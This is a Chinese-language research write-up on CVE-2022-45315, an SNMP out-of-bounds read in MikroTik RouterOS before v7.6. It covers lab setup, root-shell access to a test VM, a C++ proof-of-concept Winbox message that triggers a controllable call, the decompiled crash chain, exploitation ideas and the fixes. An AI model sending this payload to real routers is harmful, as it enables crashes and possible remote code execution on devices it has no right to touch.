CVE-2022-45315 RouterOS SNMP 越界读漏洞研究
字数 1580 2025-08-20 18:17:07
MikroTik RouterOS SNMP 越界读漏洞研究 (CVE-2022-45315)
漏洞概述
漏洞编号: CVE-2022-45315
影响版本: MikroTik RouterOS 稳定版 v7.6 之前的所有版本
漏洞类型: 越界读漏洞
影响组件: /nova/bin/snmp 进程
潜在危害: 认证后远程代码执行 (RCE)
CVSS评分: 待补充 (需参考NVD官方数据)
前置知识
RouterOS 通信机制
RouterOS 提供多种交互方式:
- JS交互: 通过HTTP协议(80端口),由
www进程处理请求并转发 - Winbox交互: 通过8291端口,由
mproxy进程处理请求并转发
Nova Message 格式
RouterOS使用自定义的Nova Message格式进行进程间通信,格式为Type Key-Value Pairs。
类型(Type)示例:
b: boolu: 32bit integerq: 64bit integers: stringr: rawa: IPv6m: messageB: bool arrayU: 32bit integer arrayQ: 64bit integer arrayS: string arrayR: raw arrayA: IPv6 arrayM: message array
Key结构:
- 格式:
0xGGVVVVGG: 命令组VVVV: 值
- 常见命令组:
0xFF: SYS0xFE: STD0xFD: LOCAL0x01: NET0x02: MODULER- ...(其他组略)
进程管理
RouterOS启动流程:
init启动loaderloader启动并管理其他进程- 子进程信息存储在
/nova/etc/loader/system.x3中
环境搭建
实验环境
- MikroTik RouterOS 7.1.1
- 推荐使用VMware Workstation模拟
- 注意: 开启Hyper-V可能导致VMware运行问题
常用指令
# 查看网卡
interface print
# 配置动态IP
ip dhcp-client add interface=ether1 disable=no
# 查看网络信息
ip dhcp-client print detail
# 查看授权
system licens print
# 关机/重启
system shutdown
system reboot
# 重置系统
system reset
启用SNMP服务
# 开启SNMP
snmp set enabled=yes
# 查看SNMP团体信息
snmp community/print
# 添加新团体
snmp community add name=VegetaRocks
# 设置联系信息
snmp set contact="Contact info"
snmp set location="Location"
# 查看SNMP配置
snmp print
获取Root Shell
使用execute_milo方法获取root权限:
-
下载工具:
git clone https://github.com/tenable/routeros.git sudo apt install libboost-all-dev cmake libboost-dev -
上传必要文件到RouterOS:
python mftp.py -u <uname> -p <pwd> --ip <ip> -o put \ -f vm_bins/busybox vm_bins/milo vm_bins/gdb -
使用LiveCD修改权限:
sudo su cd rw/disk/ chmod +x busybox chmod +x gdb chmod 755 milo mv milo ../../bin/milo ln -s /rw/disk/busybox ash exit -
编译并执行
execute_milo:./execute_milo -i <ip> -p <port> -u <username> --password <password> -
通过telnet连接:
telnet <target ip> 1270
漏洞触发与分析
漏洞触发PoC
char payload[513];
memset(payload, 'a', sizeof(char) * 512);
WinboxMessage msg;
msg.set_to(34, 0x1); // 目标为snmp进程
msg.set_command(0xfe0005); // 添加对象命令
msg.add_u32(0x14, 0xfffffffe); // 可控的u32值
msg.add_string(0x5, payload); // 长字符串
msg.set_request_id(1); // 请求ID
对应JSON结构:
{
"u14": 0xfffffffe,
"uff0006": 1,
"uff0007": 0xfe0005,
"s5": "'a'*512",
"Uff0001": [34,1]
}
漏洞分析
漏洞触发链:
-
Item::setConfig:
*((_DWORD *)this + 6) = nv::message::get<nv::u32_id>(message, 20);- 通过
u14:0xfffffffe控制*((_DWORD *)this + 6)的值
- 通过
-
Item::regenerateKeys:
v1 = 28 * *((_DWORD *)this + 6); // 可控的计算 v11 = (char *)&unk_80859C0 + v1; // 可控的指针运算 tree_base::insert_unique(&v13, v11, v7, &v18, map_node_move_constr<string,vector<unsigned char>>); -
tree_base::insert_unique:
if ((unsigned __int8)sub_7BA4((int)a2, a2[3] + a2[5], a4)) -
sub_7BA4:
call dword ptr [eax+10h] // 崩溃点,执行可控地址
漏洞利用思路
虽然可以控制执行流,但存在以下限制:
- 只能控制
call [eax+10h]的地址 - 其他参数不可控
可能的利用方式:
- 寻找合适的ROP链
- 通过栈迁移技术将控制流转移到可控的输入区域
- 利用RouterOS中丰富的RPC通信函数构造完整攻击链
修复建议
- 升级到RouterOS v7.6或更高版本
- 在无法升级的情况下,禁用SNMP服务
snmp set enabled=no